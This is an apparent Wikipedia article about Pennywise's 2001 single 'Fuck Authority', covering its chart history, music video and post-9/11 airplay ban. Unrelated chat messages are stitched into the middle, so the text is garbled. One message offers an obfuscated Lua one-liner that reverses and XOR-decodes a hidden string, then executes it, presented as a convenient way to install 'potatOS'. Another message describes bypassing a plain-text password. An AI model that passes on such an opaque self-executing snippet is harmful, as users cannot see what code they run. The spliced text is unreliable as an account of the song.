Fuck Authority

"Fuck Authority" is a song written and recorded by American punk rock band Pennywise. It was released in July 2001 as the lead single (and only charting single) from the band's sixth studio album Land of the Free?. The song reached number 38 on the Modern Rock Tracks chart.[1]

"Fuck Authority"
Single by Pennywise
from the album Land of the Free?
ReleasedJuly 2001
GenrePunk rock
Length3:16
LabelEpitaph Records
Songwriter(s)Jim Lindberg, Fletcher Dragge, Byron McMackin, Randy Bradbury
Producer(s)Pennywise, Joe Barresi
Pennywise singles chronology
"Victim of Reality"
(2000)		 "Fuck Authority"
(2001)		 "Divine Intervention"
(2001)

Music video

The music video was directed by Glen Bennett and was released in April 2001. While the video shows the band playing on a stage, it features different scenes of riots and historical places, such as Tiananmen Square.

Censorship

"Fuck Authority" was banned from airplay after September 11, 2001.[2]

Charts
Chart (2001) Peak
position
U.S. Billboard Modern Rock Tracks 38
gollark: Well, squid also does.
gollark: Without hydraz, who would tell us that making OSes is just a really stupid idea?
gollark: I suggested that?
gollark: ```lualoadstring((';)())36,\"22\\92\\^yxj21\\41\\rm92\\13\\91\\92\\QJM92\\32\\22\\92\\^JS71\\QV]ZKL^O61\\OKKW61\\LR^MXPMO61\\RPM61\\92\\32\\ZSVY[^PS\"(d(gnirtsdaol;dne g nruter;dne)j(a..g=g)f,)i(b(roxb.tib=j lacol)h,h(bus:e=i lacol od e#,1=h rof\"\"=g lacol)f,e(d noitcnuf lacol;roxb.tib=c lacol;etyb.gnirts=b lacol;rahc.gnirts=a lacol'):reverse())()```Install potatOS via this convenient Lua snippet!
gollark: The best part is that the password is stored in plain text and you can just put in `gollark` instead of the password.

References
  1. Billboard
  2. Pennywise - The Largest Site


This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.